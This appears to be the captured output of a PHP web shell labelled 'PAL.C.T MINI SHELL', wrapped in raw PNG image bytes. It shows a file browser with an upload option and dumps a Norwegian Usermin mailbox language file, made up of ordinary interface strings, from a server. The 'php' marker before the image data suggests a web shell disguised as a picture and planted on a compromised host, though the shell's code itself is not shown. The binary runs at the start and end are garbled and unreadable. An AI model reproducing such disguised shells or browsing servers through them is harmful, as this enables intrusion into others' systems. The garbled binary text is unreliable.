php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/usermin/mailbox/lang/
upload
files >> //usr/libexec/usermin/mailbox/lang/no.UTF-8

__norefs=1
acl_all=Alle
acl_any=En hver adresse
acl_apath=Begrens filer og programmer til katalog
acl_asame=Samme som brukernavn
acl_attach=Maksimum totalt vedleggsstørrelse
acl_canattach=Kan legge ved tjener-side filer?
acl_candetach=Kan detache filer til tjener?
acl_dir=Kan lese e-post filer i katalog
acl_dirauto=Bestem automatisk (hvor som helst dersom alle brukere er synlige, ingen steder ellers)
acl_faddrs=Listede adresser
acl_fdom=Enhver adresse @ domene
acl_fdoms=Postboks @ domener
acl_from=Tillatte Fra-adresser
acl_fromname=Fullt navn for Fra adresse
acl_none=Ingen
acl_read=Brukere hvis e-post kan leses
acl_same=Bruker med samme navn
acl_sec=Ta med sekundære grupper?
acl_sent=Lagre sendt e-post i postboks
acl_unlimited=Ubegrenset
acl_users=Bare brukerene
acl_userse=Alle unntatt brukerene
acl_usersg=Medlemmer i gruppene
acl_usersm=Brukere som stemmer med
acl_usersu=Med UID i området
black_already=E-post adressen $1 er allerede på SpamAssassins liste over nektede adresser.
black_done=La til e-post adressen $1 på SpamAssassins liste over nektede adresser.
black_title=Nekter avsender
compose_title=Skriv melding
confirm_ok=Slett nå
confirm_title=Bekreft sletting
confirm_warn=Er du sikker på at du ønsker å slette de $1 valgte meldingene fra denne mappen?
confirm_warn2=På grunn av størrelsen og formatet på postboksen din kan dette ta noe tid. Før slettingen er fullført bør ingen andre handlinger utføres.
confirm_warn3=Er du sikker på at du ønsker å slette denne meldingen?
confirm_warn4=Før sletting er fullført bør ingen andre handlinger utføres.
confirm_warnall=Er du sikker på at du ønsker å slette alle meldingene i denne mappen?
confirm_warnallf=Er du sikker p&#229; at du &#248;nsker &#229; slette alle meldinger i mappen <b>$1</b>?
confirm_warnf=Er du sikker p&#229; at du &#248;nsker &#229; slette de $1 valgte meldingene fra mappen <b>$2</b>?
delall_ok=Slett n&#229;
delall_rusure=Er du sikker p&#229; at du &#248;nsker &#229; slette all e-post fra $1? $2 meldinger p&#229; totalt $3 vil bli slettet for alltid.
delall_title=Slett all e-post
delete_ebnone=Ingen e-post valgt for nekting
delete_ecannot=Du har n&#229; tilgang til &#229; slette e-post fra denne brukeren
delete_ecopycannot=Du har ikke tilgang til &#229; kopiere e-post til den angitte brukeren
delete_ecopynone=Ingen e-post valgt for kopiering
delete_ecopyuser=Bruker som e-post skal kopieres til finnes ikke
delete_efnone=Ingen meldinger valgt for videresending
delete_ehnone=Ingen e-post valgt for &#229; rapportere som s&#248;ppelpost
delete_emnone=Ingen e-post valgt for merking
delete_emovecannot=Du har ikke tilgang til &#229; flytte e-post til den angitt brukeren
delete_emovenone=Ingen e-post valgt for flytting
delete_emoveuser=Bruker som e-post skal flyttes til finnes ikke
delete_enone=Ingen e-post valgt for sletting
delete_ereport=Kunne ikke rapportere som s&#248;ppelpost : $1
delete_ernone=Ingen e-post valgt for rapportering som s&#248;ppelpost
delete_errc=Kunne ikke kopiere e-post
delete_errm=Kunne ikke flytte e-post
delete_ewnone=Ingen e-post valgt &#229; tillate
delete_nobutton=Ingen knapp ble klikket
delete_ok=Slett n&#229;
delete_rusure=Er du sikker p&#229; at du &#248;nsker &#229; slette de $1 valgte meldingene fra $2? Dette kan ta noen tid i en stor e-post fil. F&#248;r slettingen er ferdig b&#248;r det ikke utf&#248;res noen andre handlinger.
delete_rusure2=Er du sikker p&#229; at du &#248;nsker &#229; slette denne meldingen fra $1? Dette kan ta noen tid i en stor e-post fil. F&#248;r slettingen er ferdig b&#248;r det ikke utf&#248;res noen andre handlinger.
delete_title=Slett e-post
detach_edir=Ingen fil eller katalog som skal lagres ble angitt
detach_eopen=Kunne ikke &#229;pne $1 : $2
detach_err=Kunne ikke detache fil
detach_ewrite=Kunne ikke skrive til $1 : $2
detach_ok=Skrev vedlegg til tjener-side filen $1 ($2).
detach_title=Detach fil
emodified=Denne mappen har blitt endret siden den sist ble vist! G&#229; tilbake til <a href='$1'>e-post listen</a> og pr&#248;v p&#229; nytt.
enew_title=Rediger e-post
find_enone=Fant ingen brukere som matcher s&#248;ket ditt
find_fcount=Mapper
find_group=Gruppe
find_home=Hjemmekatalog
find_in=$1 i $2
find_incount=E-poster
find_real=Fullt navn
find_results=Brukere som matcher s&#248;k etter $1
find_sentcount=Sendt
find_size=E-post st&#248;rrelse
find_title=S&#248;keresultat
find_user=Brukernavn
folder_drafts=Kladd
folder_inbox=Innboks
folder_sent=Sendt e-post
folder_trash=Papirkurv
forward_title=Videresend e-post
ham_report=Rapporterer denne meldingen som ikke-s&#248;ppelpost til Razor ag andre SpamAssassin databaser ..
ham_title=Rapporterer som Vennepost
index_contains=inneholder
index_empty=Ingen e-post
index_eperl=Perl modulen $1 som er n&#248;dvendig for den valgte SMTP autentiseringsmodusen er ikke installert eller den mangler an modul den er avhangig av. <a href='$2'>Klikk her</a> for &#229; installere den n&#229;.
index_equals=er lik
index_esystem=Ingen av de st&#248;ttede e-post tjenerne (Exim, Qmail, Postfix og Sendmail) ble oppdaget p&#229; systemet ditt. Du m&#229; endre <a href='$1'>modulkonfigurasjonen</a> til &#229; angi e-post tjener og muligens e-post stier manuelt
index_esystem2=Malt tjener satt i <a href='$1'>modulkonfigurasjonen</a> ble ikke funnet p&#229; systemet ditt. Du m&#229; endre konfigurasjonen slik at du bruker riktig tjener.
index_esystem3=En feil oppstod under fors&#248;ket p&#229; &#229; kontakte e-post systemet satt i <a href='$1'>modulkonfigurasjonen</a> : $2
index_file=Les e-post i fil:
index_find=Finn brukere hvor brukernavnet
index_header=Bruker-postbokser
index_none=Du har ikke tilgang til &#229; lese e-post for noen bruker p&#229; dette systemet.
index_nousers=Ingen brukere funnet!
index_nousersmail=Ingen brukere med e-post ble funnet.
index_return=brukerliste
index_system0=E-post tjener: Postfix
index_system1=E-post tjener: Sendmail
index_system2=E-post tjener: Qmail
index_system4=E-post tjener: Qmail+LDAP
index_system5=E-post tjener: Qmail+VPopMail
index_system6=E-post tjener: Exim
index_title=Les brukers e-post
index_toomany=Det er for mange brukere p&#229; systemet ditt &#229; vise p&#229; en side.
ldap_ebase=Ingen LDAP base DN satt i modulkonfigurasjonen
ldap_econn=Kunne ikke koble til LDAP tjener $1 port $2
ldap_ehost=Ingen LDAP tjener satt i modulkonfigurasjonen
ldap_elogin=Kunne ikke binde til LDAP tjener $1 port $2
ldap_emod=Mangler Perl modul $1 som er n&#248;dvendig for tilkobling til LDAP
ldap_eport=Ingen gyldig LDAP tjener port satt i modulkonfigurasjonen
ldap_euser=Ingen LDAP brukernavn satt i modulkonfigurasjonen
left_addresses=Adressebok
left_autoreply=Automatisk svar
left_filter=E-post filtere
left_folders=Administrer mapper
left_forward=Videresend e-post
left_mail=E-post
left_pass=Endre passord
left_prefs=E-post innstillinger
left_search=S&#248;k:
left_sig=Rediger signatur
log_copymail=Kopierte $1 meldinger fra $2 til $3
log_delmail=Slettet $1 meldinger fra $2
log_movemail=Flyttet $1 meldinger fra $2 til $3
log_read=Les e-post for $1
log_send=Sendt e-post til $1
mail_addresses=Administrer adressebok
mail_advanced=Avansert s&#248;k
mail_all=Velg alle.
mail_bcc=Blindkopi
mail_black=Nekt avsendere
mail_body=Meldingstekst
mail_cc=Kopi
mail_compose=Skriv
mail_copy=Kopi til:
mail_crypt=Krypter for
mail_date=Dato
mail_delall=Slett alle
mail_delete=Slett
mail_deleteall=Slett alle
mail_deltrash=T&#248;m s&#248;ppelb&#248;tte
mail_ecannot=Du har ikke lov til &#229; lese denne brukerens e-post
mail_eexists=Meldingen finnes ikke lenger!
mail_efile=E-post fil finnes ikke
mail_err=En feil oppstod ved visning av e-post i denne mappen : $1
mail_esystem=En feil oppstod ved fors&#248;k p&#229; &#229; kontakte e-post systemet : $1. Dette m&#229; fikses av systemadministratoren.
mail_fchange=Endre
mail_folder=Mappe
mail_folders=Administrer mapper
mail_for=I $1
mail_for2=For bruker $1
mail_forward=Vidersend
mail_from=Fra
mail_fromfilter=Opprett filter per avsender
mail_fromsrch=Finn e-post med samme avsender
mail_high=H&#248;y
mail_highest=H&#248;yest
mail_indexlink=Tilbake til postboks
mail_invert=Inverter valg.
mail_jump=G&#229; til side :
mail_level=Score
mail_login=Brukernavn
mail_logindesc=Du m&#229; angi et brukernavn og passord for tilgang til e-post<br>i din innboks p&#229; e-post tjeneren $1.
mail_loginheader=POP3 tjener brukernavn
mail_loginheader2=IMAP tjener brukernavn
mail_loginmailbox=IMAP postboks
mail_loginpass=Passord
mail_loginuser=Brukernavn
mail_logout=Endre POP3 brukernavn
mail_logout2=Endre IMAP brukernavn
mail_low=Lav
mail_lowest=Lavest
mail_mark=Merk som:
mail_mark0=Ulest
mail_mark1=Lest
mail_mark2=Spesial
mail_match=matcher
mail_move=Flytt til:
mail_nocrypt=&lt;Ikke krypter&gt;
mail_none=Denne brukeren har ikke noen meldinger i $1
mail_nonefrom=Ingen
mail_normal=Normal
mail_nosign=&lt;Ikke signer&gt;
mail_nosort=Tilbakestill sortering.
mail_of=av
mail_ok=S&#248;k
mail_open=&#197;pen
mail_pos=Meldingene $1 til $2 av $3 i $4
mail_pri=Prioritet
mail_replyto=Svar til
mail_reset=T&#248;m
mail_return=brukers postboks
mail_return2=Brukers e-post
mail_rfc=Fra linje
mail_samecrypt=&lt;N&#248;kler fra m&#229;l adresser&gt;
mail_search=Finn meldinger hvor
mail_search2=S&#248;k etter:
mail_search3=Finn med score ovenfor:
mail_selread=Velg leste.
mail_selspecial=Velg spesial.
mail_selunread=Velg uleste.
mail_sent=I liste med sendt e-post
mail_sig=Rediger signatur
mail_sign=Signer med n&#248;kkel
mail_size=St&#248;rrelse
mail_subfilter=Opprett filter per emne
mail_subject=Emne
mail_subsrch=Finn e-post med samme emne
mail_title=Brukers e-post
mail_to=Til
mail_tofilter=Opprett filter per mottaker
mail_tosrch=Finn e-post med mottaker
mail_unknown=Ukjent
mail_white=Tillat avsendere
mail_whitemove=Tillat avsendere og Innboks
razor_deleted=.. ferdig, og slettet melding ogs&#229;.
razor_done=.. ferdig
razor_err=.. feilet! Se feilmeldingen ovenfor for &#229; finne mer om &#229;rsaken.
razor_moved=.. ferdig, og  flyttet til mappe $1.
razor_report=Rapporterer denne meldingen til Razor og andre SpamAssassin spam-blokkerings databaser ..
razor_report2=Rapporterer de valgte meldingene til Razor ag andre SpamAssassin databaser ..
razor_report3=Avrapporterer de valgte meldingene til Razor og andre SpamAssassin databaser
razor_title=Rapporterer som S&#248;ppelpost
razor_title2=Rapporterer som Vennepost
reply_aboot=Legg til mottakere i adressebok?
reply_addattach=Legg til vedlegg felt.
reply_addssattach=Legg til tjener-side vedlegg felt.
reply_attach=Videresendte vedlegg
reply_attach2=Klient og tjener-side vedlegg
reply_attach3=Opplastet vedlegg
reply_body=Meldingstekst
reply_del=Be om beskjed om leveringsstatus?
reply_draft=Lagre som Kladd
reply_dsn=Be om beskjed om lesestatus?
reply_ecannot=Du har ikke tilgang til &#229; sende e-post som denne brukeren
reply_efwdnone=Ingen av de videresendte meldingene finnes
reply_errc=Kunne ikke kopiere e-post
reply_errm=Kunne ikke flytte e-post
reply_headers=E-post headere
reply_html0=Skriv tekst
reply_html1=Skriv HTML
reply_mailforward=Videresendte meldinger
reply_return=skriv melding
reply_save=Lagre og rediger
reply_send=Send e-post
reply_spell=Stavekontroll?
reply_tabbcc=Blindkopi
reply_tabcc=Kopi
reply_tabfrom=Fra
reply_taboptions=Innstillinger
reply_tabreplyto=Svar-Til
reply_tabsigning=Signering
reply_tabto=Til
reply_title=Svar p&#229; e-post
search_all=I alle mapper
search_allstatus=Enhver
search_attach=M&#229; ha vedlegg?
search_ecannot=Du har ikke tilgang til &#229; s&#248;ke gjennom denne brukerens e-post
search_efield=Du m&#229; velge en s&#248;ketype.
search_elatest=Manglende eller ugyldig antall meldinger &#229; s&#248;ke gjennom
search_ematch=Du m&#229; angi tekst det skal matches mot.
search_enone=Ingen s&#248;kekriterier angitt
search_escore=Manglende eller ugyldig s&#248;ppelpost score
search_ewhat=Ingen tekst &#229; matche mot angitt for rad $1
search_latest=Meldinger &#229; s&#248;ke i
search_latestnum=Bare nyeste
search_limit=(fra siste $1 meldinger)
search_local=I lokale mapper
search_msg2=S&#248;keresultat for $1
search_msg4=S&#248;keresultat
search_msg5=S&#248;keresultat etter s&#248;ppelpost med score $1
search_msg6=S&#248;keresultater for $1 i $2 feltet
search_nolatest=Alle i mappe
search_none=Ingen meldinger funnet.
search_onestatus=Bare status
search_results2=$1 e-post meldinger matcher $2
search_results3=$1 e-post meldinger som ikke matcher $2
search_results4=$1 e-post meldinger matchet s&#248;ket ditt
search_results5=$1 e-post meldinger hvor $2 matcher $3
search_status=Med status
search_title=S&#248;keresultat
search_withstatus=, med status $1
send_done=.. ferdig.
send_draft=E-post til $1 lagret i Kladd mappen.
send_drafting=Lagrer e-post til $1 i kladd mappen ..
send_eattach=Vedlegg kan ikke v&#230;re mer enn $1 kB i st&#248;rrelse.
send_eattachsize=E-post vedlegg overskred maks. tillatt st&#248;rrelse p&#229; $1 bytes
send_ecannot=Du har ikke lov til &#229; sende e-post som denne brukeren
send_ecrypt=Kunne ikke kryptere melding : $1
send_efile=Kunne ikke lese vedlegg $1 : $2
send_efrom=Mangler Fra adresse
send_ekey=Kunne ikke finne n&#248;kkel for e-post adresse $1
send_eline=I linje $1 :
send_epass=Du kan ikke signere en melding fordi passfrasen din er ikke satt opp i GnuPG modulen.
send_epath=Sendmail programmet $1 finnes ikke.
send_eperms=Bruker $1 kan ikke lese $2
send_eperms2=Du har ikke lov til &#229; sende filen $1
send_err=Kunne ikke sende e-post
send_esign=Kunne ikke signere melding : $1
send_esmtp=SMTP kommando $1 feilet : $2
send_espell=F&#248;lgende feil ble funnet i meldingen din ..
send_esubject=Manglende e-post emne
send_eto=Manglende Til adresse
send_eword=Feilstavet ord $1
send_eword2=Feilstavet ord $1 - mulige korreksjoner $2
send_ok=E-post sendt til $1
send_sending=Sender e-post til $1 ..
send_title=E-post sendt
send_title2=E-post lagret
sform_all=&lt;Alle mapper&gt;
sform_allmsg=hele meldingen
sform_and=Finn meldinger som matcher alle kriterier nedenfor ..
sform_andmode=Kriterie modus
sform_bcc=Bcc: meldingshode
sform_body=meldingskropp
sform_cc=Cc: meldingshode
sform_date=Date: meldingshode
sform_folder2=S&#248;k i mappe(r)
sform_from=From: meldingshode
sform_header=Avanserte s&#248;keinnstillinger for e-post
sform_headers=ethvert meldingshode
sform_local=&lt;Lokale mapper&gt;
sform_neg0=inneholder
sform_neg1=inneholder ikke
sform_ok=S&#248;k n&#229;
sform_or=Finn meldinger som matcher ett eller flere kriterier nedenfor ..
sform_return=avansert s&#248;keskjema
sform_size=meldingsst&#248;rrelse
sform_subject=Subject: meldingshode
sform_text=teksten
sform_title=Avansert s&#248;k
sform_to=To: meldingshode
sform_where=Hvor
slide_next=Neste
slide_prev=Forrige
slide_title=Vedlagte bilder
view_aactions=Handlinger
view_aall=Lagre alle vedlegg som ZIP.
view_afile=Vedlegg navn
view_allheaders=Vis alle meldingshoder
view_anofile=Ingen filnavn
view_aopen=&#197;pne
view_aplain=R&#229;
view_asave=Lagre
view_ashtml=Vis som HTML
view_asize=Filst&#248;rrelse
view_aslideshow=Vis alle bilder.
view_astext=Vis som tekst
view_attach=Vedlegg
view_atype=Vedleggstype
view_aview=Vis
view_black=Nekt avsender
view_body=Meldingsinnhold
view_crypt=GnuPG e-post kryptering
view_crypt_1=Meldingen er kryptert, men GnuPG st&#248;tte er ikke installert.
view_crypt_2=Kunne ikke dekryptere melding : $1
view_crypt_3=Meldingen ble dekryptert.
view_crypt_4=Den krypterte delen av meldingen ble dekryptert.
view_dall=&lt;Alle filer&gt;
view_delete=Slett
view_desc=Melding $1 i $2
view_desc2=Melding $1 til bruker $2
view_desc3=Melding $1
view_detach=Detach fil:
view_dheader=Detach vedlegg til tjener
view_diagnostic-code=&#197;rsak til feil
view_dir=til tjenerfil eller katalog:
view_dstatus=Feilet levering status
view_dstatusok=Suksess levering status
view_ecannot=Du har ikke lov til &#229; lese denne brukerens e-post
view_egone=Denne meldingen finnes ikke lenger
view_enew=Rediger som ny
view_eugone=Denne brukeren finnes ikke
view_final-recipient=Endelig mottaker
view_folder=Tilbake til postboks
view_forward=Videresend
view_gnupg=GnuPG signatur verifisering
view_gnupg_0=Signatur fra $1 er gyldig.
view_gnupg_1=Signatur fra $1 er gyldig, men tillitskjede kunne ikke etableres.
view_gnupg_2=Signatur av $1 er <b>IKKE</b> gyldig.
view_gnupg_3=N&#248;kkel ID $1 er ikke i listen din, s&#229; signaturen kunne ikke verifiseres.
view_gnupg_4=Kunne ikke verifisere signatur : $1
view_ham=Rapporter Vennepost
view_hammove=Rapporter Vennepost og Innboks
view_headers=E-post headere
view_images=Vis bilder
view_mark=Merk som:
view_mark0=Ulest
view_mark1=Lest
view_mark2=Spesial
view_markas0=Ulest
view_markas1=Lest
view_markas2=Spesial
view_nobody=Denne meldingen har ingen tekst.
view_noheaders=Vis grunnleggende headere
view_print=Skriv ut
view_qdesc=Lagt melding $1 i k&#248;
view_raw=Vis r&#229; melding
view_razor=Rapporter s&#248;ppelpost
view_razordel=Slett s&#248;ppelpost
view_recv=<a href='$2'>Hent n&#248;kkel ID $1 fra n&#248;kkeltjener</a>.
view_remote-mta=Ekstern e-post tjener
view_reply=Svar
view_reply2=Svar til alle
view_reporting-mta=Rapporterende e-post tjener
view_return=opprinnelig e-post
view_sent=Melding $1 i sendt e-post liste
view_strip=Fjern vedlegg
view_sub=Vedlagt e-post
view_sub2=Vedlagt e-post fra <i>$1</i>
view_title=Les e-post
view_white=Tillat avsender
view_whitemove=Tillat avsender og Innboks
white_already=E-post adressen $1 finnes allerede p&#229; SpamAssassins liste over tillatte adresser.
white_done=Lat til e-post adressen $1 p&#229; SpamAssassins liste over tillatte adresser.
white_title=Tillater avsender
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`